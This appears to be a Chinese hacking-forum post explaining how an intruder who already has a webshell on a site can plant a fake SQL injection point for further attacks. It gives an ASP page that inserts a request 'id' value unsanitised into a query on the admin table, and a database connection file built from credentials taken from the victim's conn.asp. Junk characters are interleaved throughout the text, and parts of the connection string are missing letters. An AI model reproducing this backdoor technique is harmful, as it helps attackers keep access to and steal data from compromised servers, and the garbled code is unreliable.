自己构造注入点方便入侵( |9 w. O g0 l
* o+ v# P/ a4 t* S6 \今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息5 u: \8 p( G( r/ f9 R. c/ o9 c
0 H. [' L/ S; o这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
+ v; E3 ^8 t0 ~+ g& `
0 X: M( p! Z. c7 h% G首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
: s( ~. j7 \6 ^0 f* o0 d3 M) ]2 O5 Y5 ?2 F$ C- s+ F6 p
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
) z3 q3 v6 d, v" q$ M* h, L
. g) l1 q- T v9 t) V因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
; }5 p! I3 }. j, { e" h4 Q) T* L! v8 m+ G+ o( P7 U0 w0 K2 |4 q% Y
程序代码
3 h( m: `8 k. s8 {) m2 j) w<!--#include file="xx.asp"-->
8 b7 K) g5 W9 |+ _. c6 h<%
- j4 W: b" y5 ]6 X3 G, Tset rs=server.createobject("ADODB.recordset")' r/ ]# u* }. H7 `) W1 u9 t1 Z
id = request("id")
! e6 y& N1 l/ Z0 x" j' hstrSQL = "select * from admin where id=" & id% t# w, F1 V/ {/ H4 |
rs.open strSQL,conn,1,3* Y) B* [6 J7 h8 A* k
rs.close
( Z$ f% L5 {5 }) V+ y. G* H8 {$ g%>4 x! h' f6 d2 u4 u& \; S2 }2 R
- W+ \3 E0 @! H6 \5 H把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
: y* o& X. G" a3 ?: _" g2 @2 x1 p+ s' z% K
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
+ A' ~! Y; O# N( r6 C/ a9 f) A3 n+ b6 m! q* R
然后就要构造一个连接数据库的文件了,代码如下:
/ E! g: k' b J; a. i程序代码: @. j _8 b i1 m3 V
<% 3 t! Y$ }3 W( @" H" @' T) N
strSQLServerName = "000.000.000.000" '服务器名称或地址- {1 ~1 I1 C/ ?0 _) G
strSQLDBUserName = "sqlname" '数据库帐号 e% O" ~( m3 S" t% F7 ^6 x
strSQLDBPassword = "sqlpass" '数据库密码
% a/ `( |3 R, ?$ r p$ d( h! nstrSQLDBName = "sqldataname" '数据库名称
/ `: E( u# |9 w9 a8 t* F4 ESet conn = Server.CreateObject("ADODB.Connection"), t0 Q& O9 X& u4 m0 i1 b
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";", o8 J+ @8 l7 a9 r8 H: q1 V; T
conn.open strCon* Z# i* ?7 B+ L" h
%>
5 g4 S5 c0 ^. j$ A* Y! }
+ J9 U* }- r; k; a! i% t这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
" W, m8 O6 R5 i' m
" [" S# Y, G- z* k* O就这样,正常情况下,就OK了,伪造成功…… c" \8 i n) t- z. k' g+ S( ]
" n$ V" W' N3 N4 Q
如果有什么问题可以提出来大家一起探讨解决。 |